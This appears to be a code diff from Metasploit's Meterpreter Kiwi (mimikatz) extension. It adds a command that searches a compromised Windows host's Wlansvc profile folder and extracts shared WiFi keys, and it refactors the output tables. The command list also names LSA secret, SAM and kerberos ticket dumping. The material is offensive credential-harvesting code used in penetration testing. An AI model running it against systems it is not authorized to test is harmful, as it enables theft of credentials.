@@ -72,7 +72,8 @@ def commands
72
72
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)' ,
73
73
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)' ,
74
74
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)' ,
75
- 'wifi_list' => 'List wifi profiles/creds' ,
75
+ 'wifi_list' => 'List wifi profiles/creds for the current user' ,
76
+ 'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)' ,
76
77
}
77
78
end
78
79
@@ -303,37 +304,50 @@ def cmd_kerberos_ticket_use(*args)
303
304
end
304
305
305
306
#
306
- # Dump all the wifi profiles/credentials
307
+ # Dump all the shared wifi profiles/credentials
307
308
#
308
- def cmd_wifi_list ( *args )
309
- results = client . kiwi . wifi_list
309
+ def cmd_wifi_list_shared ( *args )
310
+ interfaces_dir = '%AllUsersProfile%\Microsoft\Wlansvc\Profiles\Interfaces'
311
+ interfaces_dir = client . fs . file . expand_path ( interfaces_dir )
312
+ files = client . fs . file . search ( interfaces_dir , '*.xml' , true )
310
313
311
- if results . length > 0
312
- results . each do |r |
313
- table = Rex ::Text ::Table . new (
314
- 'Header' => "#{ r [ :desc ] } - #{ r [ :guid ] } " ,
315
- 'Indent' => 0 ,
316
- 'SortIndex' => 0 ,
317
- 'Columns' => [
318
- 'Name' , 'Auth' , 'Type' , 'Shared Key'
319
- ]
320
- )
314
+ if files . length == 0
315
+ print_error ( 'No shared WiFi profiles found.' )
316
+ else
317
+ interfaces = { }
318
+ files . each do |f |
319
+ interface_guid = f [ 'path' ] . split ( "\\ " ) [ -1 ]
320
+ full_path = "#{ f [ 'path' ] } \\ #{ f [ 'name' ] } "
321
321
322
- print_line
323
- r [ :profiles ] . each do | p |
324
- table << [ p [ :name ] , p [ :auth ] , p [ :key_type ] , p [ :shared_key ] ]
325
- end
322
+ interfaces [ interface_guid ] ||= [ ]
323
+ interfaces [ interface_guid ] << full_path
324
+ end
325
+ results = client . kiwi . wifi_parse_shared ( interfaces )
326
326
327
- print_line ( table . to_s )
328
- print_line ( "State: #{ r [ :state ] } " )
327
+ if results . length > 0
328
+ display_wifi_profiles ( results )
329
+ else
330
+ print_line
331
+ print_error ( 'No shared wireless profiles found on the target.' )
329
332
end
333
+ end
334
+
335
+ true
336
+ end
337
+
338
+ #
339
+ # Dump all the wifi profiles/credentials for the current user
340
+ #
341
+ def cmd_wifi_list ( *args )
342
+ results = client . kiwi . wifi_list
343
+ if results . length > 0
344
+ display_wifi_profiles ( results )
330
345
else
331
346
print_line
332
347
print_error ( 'No wireless profiles found on the target.' )
333
348
end
334
349
335
- print_line
336
- return true
350
+ true
337
351
end
338
352
339
353
@@creds_opts = Rex ::Parser ::Arguments . new (
@@ -401,6 +415,30 @@ def cmd_creds_kerberos(*args)
401
415
402
416
protected
403
417
418
+ def display_wifi_profiles ( profiles )
419
+ profiles . each do |r |
420
+ header = r [ :guid ]
421
+ header = "#{ r [ :desc ] } - #{ header } " if r [ :desc ]
422
+ table = Rex ::Text ::Table . new (
423
+ 'Header' => header ,
424
+ 'Indent' => 0 ,
425
+ 'SortIndex' => 0 ,
426
+ 'Columns' => [
427
+ 'Name' , 'Auth' , 'Type' , 'Shared Key'
428
+ ]
429
+ )
430
+
431
+ print_line
432
+ r [ :profiles ] . each do |p |
433
+ table << [ p [ :name ] , p [ :auth ] , p [ :key_type ] || 'Unknown' , p [ :shared_key ] ]
434
+ end
435
+
436
+ print_line ( table . to_s )
437
+ print_line ( "State: #{ r [ :state ] || 'Unknown' } " )
438
+ end
439
+ end
440
+
441
+
404
442
def check_is_domain_user ( msg = 'Running as SYSTEM, function will not work.' )
405
443
if client . sys . config . is_system?
406
444
print_warning ( msg )
0 commit comments